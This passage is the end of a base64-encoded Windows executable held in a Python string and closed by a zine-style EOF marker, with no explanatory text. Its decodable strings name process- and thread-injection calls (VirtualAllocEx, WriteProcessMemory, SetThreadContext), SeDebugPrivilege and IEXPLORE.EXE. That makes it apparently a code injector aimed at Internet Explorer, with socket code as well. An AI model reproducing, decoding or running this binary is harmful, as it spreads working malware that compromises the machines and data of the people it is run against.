L/dcz/VfCD+AAPhA4BAACJRbyLVQiBwr8AAABS/3XM/1Xwg/gAD4TyAAAAiUW4i1UIgcLE
|
|
AAAAUv91zP9V8IP4AA+E1gAAAIlFtItVCIHCyQAAAFL/dcz/VfCD+AAPhLoAAACJRbCLVQ
|
|
iBwtUAAABSagL/VciD+AAPhZ8AAABqAGoBagL/VcCD+P8PhI0AAACL2GoQi1UIgcJjAgAA
|
|
UlP/VbyD+P90dmoAaiiLVQiBwq8CAABSU/9VuIP4/3RfuQAAAACLVQiBwu0CAAAD0VJRag
|
|
BqAVJT/1W0WVo8AXUZg/kCeAuKAjpC/nUEPAp0CUGB+VgCAAB1y1P/VbBqQItVCIHC2AIA
|
|
AFKLVQiBwu0CAABSagD/VdTrAGoB6wJqAFCDfcQAdDj/VcSDfcwAdC//dcz/VeSDfeAAdC
|
|
OLVQiBwlUAAABSagBoAwAfAP9V4IP4AHQKi9hT/1XYU/9V3FjJwgQAVYvsgcQY/f//x0Xw
|
|
AAAAAMdF9AAAAABoHjBAAGoAagFqAOiCAQAAg/gAD4RmAQAAoyQwQACNRfBQ6O/1//+D+A
|
|
APhE8BAAD/dfToogEAAIP4/w+EIgEAAIP4AHQN/3X06HoBAACD+AF188eFJP3//wEAAQCN
|
|
hST9//9Q/3X06D4BAACD+AAPhOYAAABqQGgAEAAAaE8JAABqAP918OhnAQAAg/gAD4THAA
|
|
AAiYUY/f//i9iDwBOjKzBAAIuF3P3//4vTg8IOK8KD6AWjNzBAAGoAahNoKDBAAFP/dfDo
|
|
OQEAAIP4AHRzg8MTagBoPAkAAGikEUAAU/918OgcAQAAg/gAdFaLlRj9//+Jldz9//+NhS
|
|
T9//9Q/3X06MYAAACD+AB0Nv919OizAAAAg/j/dCloYOoAAP81JDBAAOjUAAAAg/gAdApq
|
|
Af919OinAAAAaOgDAADokQAAAGgAgAAAaE8JAAD/tRj9////dfDonQAAAP919OhlAAAAg3
|
|
30AHQI/3X06BsAAACDffAAdAj/dfDoDQAAAP81JDBAAOgCAAAAycP/JWAgQAD/JTAgQAD/
|
|
JVggQAD/JTQgQAD/JRwgQAD/JRAgQAD/JRQgQAD/JRggQAD/JSAgQAD/JSQgQAD/JSggQA
|
|
D/JSwgQAD/JVwgQAD/JWQgQAD/JTggQAD/JTwgQAD/JUAgQAD/JUQgQAD/JUggQAD/JUwg
|
|
QAD/JVAgQAD/JVQgQAD/JQggQAD/JQQgQAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
|
|
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
|
|
AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA
|
|
AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
|
|
IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h
|
|
AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA
|
|
AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h
|
|
cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE
|
|
NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0
|
|
AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA
|
|
AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz
|
|
MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm
|
|
VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz
|
|
dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3
|
|
VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA
|
|
AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AA""")
|
|
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|